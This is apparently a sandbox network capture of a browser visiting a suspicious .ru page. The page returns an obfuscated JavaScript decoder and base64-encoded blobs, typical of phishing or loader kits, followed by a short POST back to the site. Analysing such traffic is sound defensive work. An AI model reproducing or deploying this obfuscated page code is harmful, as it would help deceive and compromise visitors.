XSRF-TOKEN=eyJpdiI6IjhlK25VT3d3MkU1RjBXSjNzZGowUWc9PSIsInZhbHVlIjoiVkVmUXpJUW5pOWIxcnZnVnNVTHFsVCtKcEZOQ3ZhZEpZY2JtMlZpOXJTOFNJNlJzUnU4SWFxdWNKd2svYVFEWk44dkhzMnF6T1ZETDd0Mjl3UUVIaGc4dFA2SWpPK3NoQUV0UCtMVE1ZSnhOQ0pJSEFCdGtjOWVNaERiSjNvUzMiLCJtYWMiOiI0ODM3NWU5OThlY2FhYWU3MGVhN2YxNjAxMDE5MTE1YTkzYzcwZGQxNDgwOGZjMDJlNDM5ZjFjMTUzMDQ3ZjBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh5Z3o1VHRFVGtaR3B2Y2dnY0Npdmc9PSIsInZhbHVlIjoieWhDZUpqTTZhQ1JiTjlGcFFOcHcxOVA0K285bXFncUZpb0ZJdXduN2lXYWcrRFVvMmprMXJkVXZpTWhqV2N1Z01wQVdnUTdRc0U2K2lKN0tXK09IUWg2d2xSUWhCZlpSMjIwOUhZMTBybWdkcFNKNExMcXV1VG9QSTVCSk91Rm0iLCJtYWMiOiJkNTQyODI2YTE0ZDM3ZTZkNDg5ZDZmZDJjMzc0ODJiYzZhMGQ3OTJlOWY5YWRjYWU2OGMzNTcyNGFmMTg2YTE2IiwidGFnIjoiIn0%3D
2025-03-20 18:34:10 UTC	1035	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 18:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlrK1b0g6XIowas81r88osBrqnW3qADm3bLMVVd%2FquuDvac37pSlPzku2E3nRQIqgMTjkxkFFR6QCl4nRMCMj9ng2RrhqZxagp4HDZe%2BTGKBS7H%2FxY3BMR3%2FR54er6ZjL7M6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=6365&min_rtt=6354&rtt_var=2405&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2056&delivery_rate=441961&cwnd=251&unsent_bytes=0&cid=2c64576e33988379&ts=98&x=0" Server: cloudflare CF-RAY: 92374d57fed3422e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106234&min_rtt=104638&rtt_var=23735&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1717&delivery_rate=35596&cwnd=207&unsent_bytes=0&cid=ae77a12f7a96e919&ts=533&x=0"
2025-03-20 18:34:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:11 UTC	1464	OUT	GET /hhtc/ HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://er.avunzocl.ru/hhtc/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjhlK25VT3d3MkU1RjBXSjNzZGowUWc9PSIsInZhbHVlIjoiVkVmUXpJUW5pOWIxcnZnVnNVTHFsVCtKcEZOQ3ZhZEpZY2JtMlZpOXJTOFNJNlJzUnU4SWFxdWNKd2svYVFEWk44dkhzMnF6T1ZETDd0Mjl3UUVIaGc4dFA2SWpPK3NoQUV0UCtMVE1ZSnhOQ0pJSEFCdGtjOWVNaERiSjNvUzMiLCJtYWMiOiI0ODM3NWU5OThlY2FhYWU3MGVhN2YxNjAxMDE5MTE1YTkzYzcwZGQxNDgwOGZjMDJlNDM5ZjFjMTUzMDQ3ZjBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh5Z3o1VHRFVGtaR3B2Y2dnY0Npdmc9PSIsInZhbHVlIjoieWhDZUpqTTZhQ1JiTjlGcFFOcHcxOVA0K285bXFncUZpb0ZJdXduN2lXYWcrRFVvMmprMXJkVXZpTWhqV2N1Z01wQVdnUTdRc0U2K2lKN0tXK09IUWg2d2xSUWhCZlpSMjIwOUhZMTBybWdkcFNKNExMcXV1VG9QSTVCSk91Rm0iLCJtYWMiOiJkNTQyODI2YTE0ZDM3ZTZkNDg5ZDZmZDJjMzc0ODJiYzZhMGQ3OTJlOWY5YWRjYWU2OGMzNTcyNGFmMTg2YTE2IiwidGFnIjoiIn0%3D
2025-03-20 18:34:11 UTC	1214	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vOekG3%2B2kdsZHWA0oFEOFZm7C%2BoAulTckIFWXUg34OgGjJl3%2BKv42d0WRYUoh2ec1WAT2xJGQx6dQIjW5e2V%2BRpa5QavNLtHehdBQJnaLZlLjUa9jaj3optno7cXMxiAtIVl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4511&min_rtt=4488&rtt_var=1700&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2367&delivery_rate=634581&cwnd=251&unsent_bytes=0&cid=e008f11b0d45115d&ts=105&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im1TcWxHaFFRWUxHNWgrZnZ4NkZHeXc9PSIsInZhbHVlIjoiVUtXdThtRmh4OUxuZURTMHVZbkpqYXFNYkM0U2IxM2NJekU2TTgycnVUWTBueVZFZmZ4UmY0aXZtd1R2VFFVYjNCNE5IbmNIcDA0bW56cFNENnV0Ull0eXJQd1piRmZpdXZlT1RjK1pwK09iV0dja096eXRZMVFLd2N5a040UjUiLCJtYWMiOiJmYzVjMDVkOWFjNTZhMDAzMmQxYTIwZDhiOTczNDdmYzZlYmMyMDAxNzk1ZWRkODMzZWVjMmNmYjc0OWY5NzBiIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 20:34:11 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 18:34:11 UTC	767	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 52 46 4d 32 70 36 61 30 31 6b 56 7a 4e 77 52 54 52 34 63 45 51 77 61 44 68 54 59 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 58 64 7a 64 6d 64 6a 4e 55 4e 42 65 57 78 77 4c 7a 64 4c 53 48 6c 48 63 57 68 57 63 30 68 72 64 6a 52 5a 62 46 68 70 5a 30 74 30 4d 6b 49 34 63 6b 46 6d 59 33 63 79 57 6c 5a 52 64 48 52 43 4d 6d 5a 4c 4e 53 39 75 5a 30 70 58 64 6a 68 6e 54 31 45 76 63 32 73 78 55 55 39 4c 5a 54 4e 79 55 58 64 53 54 79 74 4f 54 55 64 73 51 57 46 77 64 32 73 76 52 45 78 30 5a 30 35 50 59 6e 4a 6d 54 56 70 71 56 43 74 68 53 47 35 50 61 31 4a 56 54 45 78 31 4d 6e 64 30 53 58 70 70 4d 47 55 35 65 47 6c 76 62 6c 64 50 4e 57 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkRFM2p6a01kVzNwRTR4cEQwaDhTY2c9PSIsInZhbHVlIjoiZXdzdmdjNUNBeWxwLzdLSHlHcWhWc0hrdjRZbFhpZ0t0MkI4ckFmY3cyWlZRdHRCMmZLNS9uZ0pXdjhnT1Evc2sxUU9LZTNyUXdSTytOTUdsQWFwd2svREx0Z05PYnJmTVpqVCthSG5Pa1JVTEx1Mnd0SXppMGU5eGlvbldPNWo
2025-03-20 18:34:11 UTC	1369	IN	Data Raw: 31 30 32 61 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 7a 77 73 6b 4a 50 41 6f 4a 45 28 42 79 4b 73 4a 52 61 57 56 50 2c 20 74 43 46 69 71 77 73 55 67 61 29 20 7b 0d 0a 6c 65 74 20 50 58 46 70 73 46 6d 50 62 71 20 3d 20 27 27 3b 0d 0a 42 79 4b 73 4a 52 61 57 56 50 20 3d 20 61 74 6f 62 28 42 79 4b 73 4a 52 61 57 56 50 29 3b 0d 0a 6c 65 74 20 45 61 69 64 51 4c 4d 79 52 4e 20 3d 20 74 43 46 69 71 77 73 55 67 61 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 42 79 4b 73 4a 52 61 57 56 50 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 50 58 46 70 73 46 6d 50 62 71 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 42 79 4b 73 4a 52 61 57 56 50 2e 63 68 61 72 43 Data Ascii: 102a<script>function zwskJPAoJE(ByKsJRaWVP, tCFiqwsUga) {let PXFpsFmPbq = '';ByKsJRaWVP = atob(ByKsJRaWVP);let EaidQLMyRN = tCFiqwsUga.length;for (let i = 0; i < ByKsJRaWVP.length; i++) { PXFpsFmPbq += String.fromCharCode(ByKsJRaWVP.charC
2025-03-20 18:34:11 UTC	1369	IN	Data Raw: 64 48 52 6f 6f 56 69 6f 50 49 68 39 34 46 54 63 50 43 31 70 2f 41 78 6f 50 4a 78 35 53 4d 53 52 72 4e 41 38 39 41 44 6f 47 49 77 77 41 58 42 67 6c 48 41 38 4f 47 6c 49 78 4b 47 42 2b 49 69 4a 6c 4f 67 73 31 46 77 74 77 44 69 6f 4e 48 41 6f 4f 41 7a 45 76 65 43 6f 69 4b 52 64 2b 42 69 4d 32 58 46 6f 67 48 46 77 63 41 52 30 64 48 44 74 73 50 69 49 69 47 79 59 75 4d 79 4a 63 64 69 51 70 57 6a 59 6e 47 51 67 30 4c 33 73 2f 4d 54 49 35 44 53 31 57 4b 67 42 32 4a 43 70 5a 47 77 6f 4e 58 54 51 74 43 51 59 69 4b 52 51 75 42 69 63 35 43 33 41 4f 4b 67 30 63 43 67 34 44 48 52 56 37 4a 77 38 69 48 7a 6f 41 44 54 70 63 57 69 4d 39 42 68 6b 4b 44 52 34 5a 4b 31 55 67 44 79 34 36 4c 69 73 73 4d 6c 31 6a 48 68 77 4e 4e 48 73 5a 55 53 6c 65 41 43 59 78 50 6a 6f 75 41 52 Data Ascii: dHRooVioPIh94FTcPC1p/AxoPJx5SMSRrNA89ADoGIwwAXBglHA8OGlIxKGB+IiJlOgs1FwtwDioNHAoOAzEveCoiKRd+BiM2XFogHFwcAR0dHDtsPiIiGyYuMyJcdiQpWjYnGQg0L3s/MTI5DS1WKgB2JCpZGwoNXTQtCQYiKRQuBic5C3AOKg0cCg4DHRV7Jw8iHzoADTpcWiM9BhkKDR4ZK1UgDy46LissMl1jHhwNNHsZUSleACYxPjouAR
2025-03-20 18:34:11 UTC	1369	IN	Data Raw: 49 68 73 6c 41 42 4e 49 4a 33 41 4f 4b 67 30 63 41 58 38 71 4f 77 49 4a 50 53 51 64 5a 51 49 56 49 30 45 47 58 52 70 61 42 6a 63 6e 48 68 45 68 4f 32 73 6d 4f 54 49 50 4a 53 30 4b 4b 69 46 59 46 53 56 61 44 78 35 36 43 42 73 46 58 69 4d 79 57 47 77 38 4b 79 4d 75 57 46 30 4b 57 67 59 33 4a 78 6f 4b 4e 43 39 37 49 41 38 39 59 43 4d 72 49 78 51 61 57 79 51 44 42 6a 45 6b 47 52 45 63 4c 31 49 71 44 68 31 6c 41 67 59 6e 4f 51 74 77 43 6a 31 59 44 78 35 36 56 44 51 43 65 7a 51 78 4d 67 38 6c 4c 51 6f 71 4b 57 4d 61 4d 51 49 78 48 6a 64 55 4d 79 39 53 65 69 38 37 4f 69 34 47 4a 7a 6b 4c 57 69 41 39 57 6a 45 52 42 52 45 78 4b 32 4d 6c 43 53 49 62 4a 51 41 54 53 43 64 66 48 67 42 64 45 52 67 2f 4e 52 6b 37 54 52 67 78 42 78 4d 6b 46 53 77 71 4a 58 41 4a 57 77 30 Data Ascii: IhslABNIJ3AOKg0cAX8qOwIJPSQdZQIVI0EGXRpaBjcnHhEhO2smOTIPJS0KKiFYFSVaDx56CBsFXiMyWGw8KyMuWF0KWgY3JxoKNC97IA89YCMrIxQaWyQDBjEkGREcL1IqDh1lAgYnOQtwCj1YDx56VDQCezQxMg8lLQoqKWMaMQIxHjdUMy9Sei87Oi4GJzkLWiA9WjERBRExK2MlCSIbJQATSCdfHgBdERg/NRk7TRgxBxMkFSwqJXAJWw0
2025-03-20 18:34:11 UTC	39	IN	Data Raw: 31 30 4b 44 42 6b 63 44 69 4d 52 47 54 52 72 50 54 49 39 49 6a 30 73 56 6a 59 45 57 77 6f 2b 55 78 67 61 65 78 0d 0a Data Ascii: 10KDBkcDiMRGTRrPTI9Ij0sVjYEWwo+Uxgaex
2025-03-20 18:34:11 UTC	1369	IN	Data Raw: 63 37 30 0d 0a 4d 78 42 67 30 47 49 69 6b 55 63 53 73 6a 46 46 78 62 43 6a 35 42 41 77 34 5a 44 68 6b 76 65 78 6b 4a 57 43 31 34 4b 79 4d 55 47 6c 73 6a 4a 67 30 5a 47 67 30 75 47 67 45 4d 4f 77 38 48 45 33 6b 75 4d 30 30 43 63 41 55 35 42 51 38 61 44 53 4d 63 4e 47 74 38 43 41 63 41 63 51 4e 58 4b 68 78 64 43 68 4d 47 42 53 34 67 41 7a 45 6f 51 54 63 50 49 6a 6b 36 46 54 42 4d 4a 33 41 4f 4b 67 30 63 44 67 55 53 49 69 52 53 4b 67 34 64 4f 69 34 47 4a 7a 6b 4c 63 41 34 70 42 7a 64 37 65 6c 51 30 4f 32 4d 6c 43 54 30 35 4f 69 6f 77 46 77 74 6f 46 53 45 61 44 42 34 34 46 7a 45 6b 64 79 55 4a 42 42 67 39 4c 46 59 75 46 56 67 61 4d 6c 30 57 49 41 34 44 4d 53 39 34 4b 69 49 74 4c 54 6b 74 43 53 30 59 57 41 6f 39 47 67 39 37 4a 31 51 33 42 58 67 31 4a 77 41 4d Data Ascii: c70MxBg0GIikUcSsjFFxbCj5BAw4ZDhkvexkJWC14KyMUGlsjJg0ZGg0uGgEMOw8HE3kuM00CcAU5BQ8aDSMcNGt8CAcAcQNXKhxdChMGBS4gAzEoQTcPIjk6FTBMJ3AOKg0cDgUSIiRSKg4dOi4GJzkLcA4pBzd7elQ0O2MlCT05OiowFwtoFSEaDB44FzEkdyUJBBg9LFYuFVgaMl0WIA4DMS94KiItLTktCS0YWAo9Gg97J1Q3BXg1JwAM
2025-03-20 18:34:11 UTC	1369	IN	Data Raw: 59 71 49 6c 67 50 4a 42 55 4f 43 79 64 77 44 69 6f 4e 48 41 6f 4f 41 78 73 72 66 79 59 78 4c 54 6b 38 46 52 34 58 43 33 51 6e 4b 52 30 77 44 54 77 76 4d 53 39 34 4b 69 49 70 46 43 34 57 43 55 46 59 64 52 55 6c 42 51 77 65 48 52 49 63 46 6c 59 71 4a 69 6b 55 50 67 59 67 50 52 74 61 42 51 77 4e 4e 69 51 72 44 53 45 2f 58 6a 6f 6e 4b 52 51 2b 41 79 63 35 47 33 55 4f 4b 68 30 5a 49 77 6f 55 4e 78 74 57 4b 69 49 70 46 43 34 70 4e 52 63 4c 63 41 34 71 44 54 51 4e 42 67 4d 64 47 31 59 71 49 69 6b 55 4c 67 59 6e 4f 67 5a 62 66 78 4d 63 4e 69 4d 67 41 7a 45 57 65 44 6f 6c 50 52 42 38 46 54 41 4c 4a 33 41 4f 4b 67 30 63 41 58 38 76 4d 53 39 34 4b 69 49 70 59 44 4d 56 50 44 4a 65 57 42 6f 6c 42 6a 59 77 4f 41 4d 30 41 57 4d 68 4d 6a 49 48 65 43 77 4a 4c 68 5a 31 44 Data Ascii: YqIlgPJBUOCydwDioNHAoOAxsrfyYxLTk8FR4XC3QnKR0wDTwvMS94KiIpFC4WCUFYdRUlBQweHRIcFlYqJikUPgYgPRtaBQwNNiQrDSE/XjonKRQ+Ayc5G3UOKh0ZIwoUNxtWKiIpFC4pNRcLcA4qDTQNBgMdG1YqIikULgYnOgZbfxMcNiMgAzEWeDolPRB8FTALJ3AOKg0cAX8vMS94KiIpYDMVPDJeWBolBjYwOAM0AWMhMjIHeCwJLhZ1D
2025-03-20 18:34:11 UTC	453	IN	Data Raw: 4a 4b 67 42 61 4a 77 51 4e 4e 79 52 32 45 53 49 34 53 67 59 69 4b 52 51 75 42 69 63 35 43 32 41 67 55 68 4d 50 44 68 6b 64 4e 44 52 7a 4a 54 45 74 4f 58 67 73 48 68 63 4c 64 78 55 70 58 68 6f 2b 49 41 4d 78 4c 33 67 71 49 69 6b 58 49 79 73 38 4d 68 5a 62 66 69 4a 63 48 41 45 4e 45 68 6b 37 44 48 30 78 4d 68 78 2b 44 41 30 35 43 33 41 4f 4b 56 4d 57 49 41 34 44 4d 53 39 34 4f 44 4a 59 62 44 77 72 49 7a 34 47 58 51 34 70 42 7a 64 36 42 52 41 78 4b 33 4e 38 44 79 49 48 50 79 30 4f 43 41 4e 62 66 6a 45 47 4e 69 41 4e 55 7a 73 46 65 43 6f 69 4b 52 51 75 42 69 4d 79 42 47 42 2f 48 77 51 32 4a 48 5a 56 47 67 46 6f 65 79 49 70 47 44 34 43 49 43 6b 62 64 67 6b 71 58 52 59 67 44 67 4d 78 4c 33 74 30 4b 41 4d 55 4c 67 59 6e 4f 67 46 62 66 31 4a 61 44 78 45 47 41 78 Data Ascii: JKgBaJwQNNyR2ESI4SgYiKRQuBic5C2AgUhMPDhkdNDRzJTEtOXgsHhcLdxUpXho+IAMxL3gqIikXIys8MhZbfiJcHAENEhk7DH0xMhx+DA05C3AOKVMWIA4DMS94ODJYbDwrIz4GXQ4pBzd6BRAxK3N8DyIHPy0OCANbfjEGNiANUzsFeCoiKRQuBiMyBGB/HwQ2JHZVGgFoeyIpGD4CICkbdgkqXRYgDgMxL3t0KAMULgYnOgFbf1JaDxEGAx
2025-03-20 18:34:11 UTC	1369	IN	Data Raw: 37 39 32 0d 0a 38 47 49 44 45 62 57 67 55 4d 58 52 59 67 44 67 4d 78 4c 33 74 30 4b 41 4d 55 4c 68 38 6e 51 52 5a 64 42 51 63 5a 44 78 31 37 4c 79 67 76 41 43 49 78 50 52 4d 69 48 77 4d 58 56 47 41 67 55 67 45 77 48 58 73 76 4d 53 39 34 64 51 6f 74 41 79 45 56 49 79 34 56 61 53 6f 45 44 52 77 4b 44 67 4d 6f 4b 31 34 31 4f 77 59 48 4a 52 5a 57 48 77 74 73 66 31 49 5a 4d 52 45 64 46 42 70 65 44 44 63 37 4b 57 77 6d 41 6a 42 4d 4a 33 41 4f 4b 67 30 63 44 54 63 54 4b 41 64 56 4f 41 6b 48 62 48 73 57 50 43 6f 63 57 79 41 49 44 54 45 4f 4a 77 67 78 4b 57 4e 38 44 79 49 44 4d 42 55 33 4f 6c 39 59 46 54 6b 46 48 41 77 42 56 52 77 6b 61 7a 30 4a 42 7a 59 39 48 54 4d 71 41 6d 4d 65 4b 54 38 50 48 67 45 4c 47 67 45 41 50 67 6c 59 4d 58 77 66 4a 30 45 62 61 53 6f 45 Data Ascii: 7928GIDEbWgUMXRYgDgMxL3t0KAMULh8nQRZdBQcZDx17LygvACIxPRMiHwMXVGAgUgEwHXsvMS94dQotAyEVIy4VaSoEDRwKDgMoK141OwYHJRZWHwtsf1IZMREdFBpeDDc7KWwmAjBMJ3AOKg0cDTcTKAdVOAkHbHsWPCocWyAIDTEOJwgxKWN8DyIDMBU3Ol9YFTkFHAwBVRwkaz0JBzY9HTMqAmMeKT8PHgELGgEAPglYMXwfJ0EbaSoE
2025-03-20 18:34:11 UTC	576	IN	Data Raw: 30 57 58 52 6f 54 57 6a 51 65 65 67 6f 6f 4c 77 41 33 44 79 49 66 50 79 30 4a 47 30 64 77 44 6c 73 4e 42 78 45 6e 45 79 49 30 63 33 30 69 4c 52 4d 69 4b 77 6b 55 42 6d 4d 65 4b 56 6f 33 4d 41 30 53 47 79 52 72 50 51 6b 39 4f 58 38 56 4e 7a 70 5a 57 33 34 39 45 78 77 4d 49 7a 45 78 4b 31 55 34 4d 51 51 66 49 53 78 58 4b 68 56 64 47 69 56 61 4d 52 45 46 43 44 51 47 54 6a 73 4a 4c 54 35 69 44 41 30 35 43 33 41 4f 4b 67 30 63 44 54 67 53 48 44 74 4f 5a 69 67 44 46 43 34 47 4a 7a 6c 55 64 58 34 6c 42 67 78 36 48 52 51 61 58 67 31 6d 4b 41 30 36 4c 67 59 6e 4f 51 74 70 42 53 55 47 44 48 6f 64 46 42 70 65 44 53 6f 4b 50 51 52 77 42 67 6b 69 41 47 41 56 4f 56 73 32 4a 42 6b 65 4d 51 56 37 4a 77 6b 74 45 7a 4d 73 48 6b 67 46 59 79 41 39 41 6a 45 42 47 52 30 69 4e Data Ascii: 0WXRoTWjQeegooLwA3DyIfPy0JG0dwDlsNBxEnEyI0c30iLRMiKwkUBmMeKVo3MA0SGyRrPQk9OX8VNzpZW349ExwMIzExK1U4MQQfISxXKhVdGiVaMREFCDQGTjsJLT5iDA05C3AOKg0cDTgSHDtOZigDFC4GJzlUdX4lBgx6HRQaXg1mKA06LgYnOQtpBSUGDHodFBpeDSoKPQRwBgkiAGAVOVs2JBkeMQV7JwktEzMsHkgFYyA9AjEBGR0iN

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:11 UTC	541	OUT	OPTIONS /report/v4?s=UlrK1b0g6XIowas81r88osBrqnW3qADm3bLMVVd%2FquuDvac37pSlPzku2E3nRQIqgMTjkxkFFR6QCl4nRMCMj9ng2RrhqZxagp4HDZe%2BTGKBS7H%2FxY3BMR3%2FR54er6ZjL7M6 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://er.avunzocl.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:34:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 20 Mar 2025 18:34:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:11 UTC	516	OUT	POST /report/v4?s=UlrK1b0g6XIowas81r88osBrqnW3qADm3bLMVVd%2FquuDvac37pSlPzku2E3nRQIqgMTjkxkFFR6QCl4nRMCMj9ng2RrhqZxagp4HDZe%2BTGKBS7H%2FxY3BMR3%2FR54er6ZjL7M6 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 429 Content-Type: application/reports+json Origin: https://er.avunzocl.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:34:11 UTC	429	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 37 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 31 2e 31 35 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 72 2e 61 76 75 6e 7a 6f 63 6c 2e 72 75 2f Data Ascii: [{"age":0,"body":{"elapsed_time":978,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.171.153","status_code":404,"type":"http.error"},"type":"network-error","url":"https://er.avunzocl.ru/
2025-03-20 18:34:11 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 20 Mar 2025 18:34:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:11 UTC	1436	OUT	POST /rqDWOipXOpKswPVOYE9wkWulPSYTDz58tzo6LYGRjy HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive Content-Length: 6 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://er.avunzocl.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://er.avunzocl.ru/hhtc/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im1TcWxHaFFRWUxHNWgrZnZ4NkZHeXc9PSIsInZhbHVlIjoiVUtXdThtRmh4OUxuZURTMHVZbkpqYXFNYkM0U2IxM2NJekU2TTgycnVUWTBueVZFZmZ4UmY0aXZtd1R2VFFVYjNCNE5IbmNIcDA0bW56cFNENnV0Ull0eXJQd1piRmZpdXZlT1RjK1pwK09iV0dja096eXRZMVFLd2N5a040UjUiLCJtYWMiOiJmYzVjMDVkOWFjNTZhMDAzMmQxYTIwZDhiOTczNDdmYzZlYmMyMDAxNzk1ZWRkODMzZWVjMmNmYjc0OWY5NzBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRFM2p6a01kVzNwRTR4cEQwaDhTY2c9PSIsInZhbHVlIjoiZXdzdmdjNUNBeWxwLzdLSHlHcWhWc0hrdjRZbFhpZ0t0MkI4ckFmY3cyWlZRdHRCMmZLNS9uZ0pXdjhnT1Evc2sxUU9LZTNyUXdSTytOTUdsQWFwd2svREx0Z05PYnJmTVpqVCthSG5Pa1JVTEx1Mnd0SXppMGU5eGlvbldPNWoiLCJtYWMiOiIwZTVlMWFkYTBlMTVhNDg0MGEwODk5NDlmMWY3NjkzMTA1MDEwYzdiZWEwMjJkN2FlZTVlM2I2Y2ZhYzE4ZjE3IiwidGFnIjoiIn0%3D
2025-03-20 18:34:11 UTC	6	OUT	Data Raw: 64 61 74 61 3d 68 Data Ascii: data=h
2025-03-20 18:34:14 UTC	1211	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AZu6oJqGyEkX1M6EUAEtjQZVWUMiRyCMOoigJ%2FFkOhJUGTD714q0Jp9cORjil0dzR5RTJXJExtNVV8K2j28%2FjQbxzvvgw31TDr2qYPHKN6jA6Iamz37fP7pnr7LmT4IQdz%2B3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5494&min_rtt=5058&rtt_var=2211&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2352&delivery_rate=386117&cwnd=252&unsent_bytes=0&cid=d5f7d369f2d644c9&ts=98&x=0" Set-Cookie: 